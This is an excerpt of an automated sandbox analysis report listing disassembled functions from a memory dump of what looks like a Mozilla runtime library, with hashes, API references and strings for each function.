Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction ID: 6a1b592dd77ba60c11ff780af698c891675854449e9cc88d832b678b1b5d30ef
Opcode Fuzzy Hash: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction Fuzzy Hash: 5D62DE7260D3458FD701CF18C29076ABBF6AF86318F984A4DE4D44BB95C335D9A6CB82

Function 6C969F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6C96A3D8
0, xrefs: 6C96A100
1, xrefs: 6C96A824
0, xrefs: 6C96AB22
@, xrefs: 6C96A625
9, xrefs: 6C96A5D6

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction ID: 285342c432369980256c34f893e47099f05ee16847ac6515a861495d325d71b3
Opcode Fuzzy Hash: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction Fuzzy Hash: 6182CF319093318BF710CF1BC49026EB7E6EB85758F65892AE8D547ED0DB35E885CB82

Function 6C95BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C95C1CB
__aulldiv.LIBCMT ref: 6C95C24C
__aulldiv.LIBCMT ref: 6C95C348
__aullrem.LIBCMT ref: 6C95C365
__aulldiv.LIBCMT ref: 6C95C37D

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca564f0a8df396e03c74de320938d7a0532e7320a7295eeba397575622058f59
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 1C322632B046168FCB18DE3CC89066ABBE6AFD9310F49866DE495CB395D730ED05CB91

Function 6C9C545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C8A4B

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6748e7821dcc473d6c0f55ff824bf16f35ac862823f67dc771b8f36cf46e1fb6
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D2B1E672B0021ACFDB14CF68CC907A9B7B6EF95314F1902A9C549EB781D730E985CB92

Function 6C9C542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 6cd0fcc83cd549fe357bb5cf7969e5caf8bc937e41cd46092fa0c911797b1cdb
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 75B1D572F0021A8BDB14CF58CC816ADB7B6AF95314F190269C549EBB85D730E989CB92

Function 6C9C50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: b7d9ce138e4f5084dc90b56994151a48e0598923134e98aea57dfd13da7d3c95
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: AAA1D772B001178FDB14CF68CC807A9B7B6AF95314F1502B9C949EB785D730E999CB92

Function 6C9A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A7A93

Part of subcall function 6C975C50: GetTickCount64.KERNEL32 ref: 6C975D40
Part of subcall function 6C975C50: EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A7AA1

Part of subcall function 6C975C50: __aulldiv.LIBCMT ref: 6C975DB4
Part of subcall function 6C975C50: LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9A7B31

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction ID: 35d63b402a5348829407a67e4b6dac3005365ed227e1c3fbdf0c17e17450f845
Opcode Fuzzy Hash: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction Fuzzy Hash: 90B1AC356087808BCB18CFA4C49165FB7E2BFD9318F154A1CE99567B94DB70E90BCB82

Function 6C996CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C996D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996E1E

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction ID: f7634df291f7fc298ae2d1d3f8b29d472dd0c08a0e26eb2a7d4116a96b0aebee
Opcode Fuzzy Hash: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction Fuzzy Hash: 93A18D706183818FCB15CF24C4907AEFBE6BFA8308F54495DE48A87751DB70E959CB92

Function 6C9BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9BB720
RtlNtStatusToDosError.NTDLL ref: 6C9BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C98FE3F,00000000,00000000,?,?,00000000,?,6C98FE3F), ref: 6C9BB760

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction ID: 973e5f119293fe9ebbc3919dc469951abb1e451a2f5b83f2ef42083c76e2a61a
Opcode Fuzzy Hash: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction Fuzzy Hash: 51F0AFB0A0420CAEEF019AA1CCC4BEFB7BC9B14719F105129E511729C0D774E6C8C762

Function 6C974640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C974777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C975585, 6C9755A8, 6C9755C3, 6C975624

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction ID: 1fad17c29fd2c955e96db0ffb6502fe17ff21090745f4a1ef674bff60e20a197
Opcode Fuzzy Hash: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction Fuzzy Hash: 37B28D71A06B018FD728CF18C590715BBE6BFC5324B29C7ADE4698B6A6D731E841CF90

Function 6C9B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B8C7C
__aulldiv.LIBCMT ref: 6C9B8DD7

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: abf186ce9f9c734c8e384b0231a2bea45213bc7c3d19e44ecba271efc7597e0d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: DB325971F0121A8BDF1CCE9CC8A17BEB7B6FB88300F15852AD506BB790DA349D458B95

Function 6C9BB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9603D4,?), ref: 6C9BB955
NtQueryVirtualMemory.NTDLL ref: 6C9BB9A5

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction ID: 74815975401d012b9c5b82fc612d258ea3ca7e91d580970858bfb7b2fe73cd1e
Opcode Fuzzy Hash: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction Fuzzy Hash: 8641C571F01219AFDF04CFA9D880ADEB7B9EF88354F14812AE505B7744DB30E9458B91

Function 6C995C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C964A63,?,?), ref: 6C995F06

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction ID: e87c19aeb54141b40e2ff11cc4c98e9d4ce69d8caccf48a06b77821da2475711
Opcode Fuzzy Hash: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction Fuzzy Hash: DAC1C175D012099BCB04CFA5C5906EEBBF6FF8A319F28425DD8556BB44D732A846CB80

Function 6C95DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction ID: a899fa613e4c4b232c11e9189b4b7732dc773f6f34e3f0bd3ad67280208987b7
Opcode Fuzzy Hash: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction Fuzzy Hash: AC42D472A087518BD304CE3CC49035AF3E2BFC9364F594B2DE999A7794D739D9418B82

Function 6C9C76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: b85fa92e39bd717ff08c812256885db20c52909c69fc35117cf796b061bc8064
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8332F871E0061A8FDB14CF98C8D0AADFBB6FF88304F6481A9C549A7745D731A986CF91

Function 6C9C6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 339a7a8d9ce8ff281e064841f521848a5f2afeceb7f9eb647f16b7c89a008e69
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F522E871E0061A8FDB14CF98C880AADF7F6FF88304F6485AAC549A7745D731A986CF91

Function 6C980512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 286ab1b55caabb77574da8dc762465e9dbb4a6a592fa37c3ece0a54f2dbccbfb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: FC221671E01659CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D731A986CF90

Function 6C9CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction ID: 845f37bb87fd0395f7ec045ee9b6bdfdba6238f99a989a2309416836ff3aa9ca
Opcode Fuzzy Hash: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction Fuzzy Hash: C3F14871B087458FD700CE28C8913AAB7E6AFD5318F158A2DE8D487781EB74D9898793

Function 6C95C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 5f235e11923b688408c7ff9597425e03612c3ff3549a37dde2826480d5134435
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: AAA1AA71F0021A8FDB08CE69C8913AEB7F2AFC8354F588269D915E7781DB349D168B90

Function 6C997710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction ID: 9235d4aeb16e95b897db654b44aad1d842f977bcab8bd4c1c42e8846b01dd419
Opcode Fuzzy Hash: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction Fuzzy Hash: 7B714C75E012198FCB18CF99D8905EDBBB6FF89314F28816ED415AB740DB31A945CB90

Function 6C9958E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction ID: e27303789d493c5076aeb74b262a07e258456b216b98fe066c17ff9ed332aa26
Opcode Fuzzy Hash: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction Fuzzy Hash: F5817A75A012199FCB04CFA8C8809EEBBF6FF89314F684269D511AB741D731E945CBA0

Function 6C99CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C96582D), ref: 6C99CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C96582D), ref: 6C99CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9CFE98,?,?,?,?,?,6C96582D), ref: 6C99CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC98
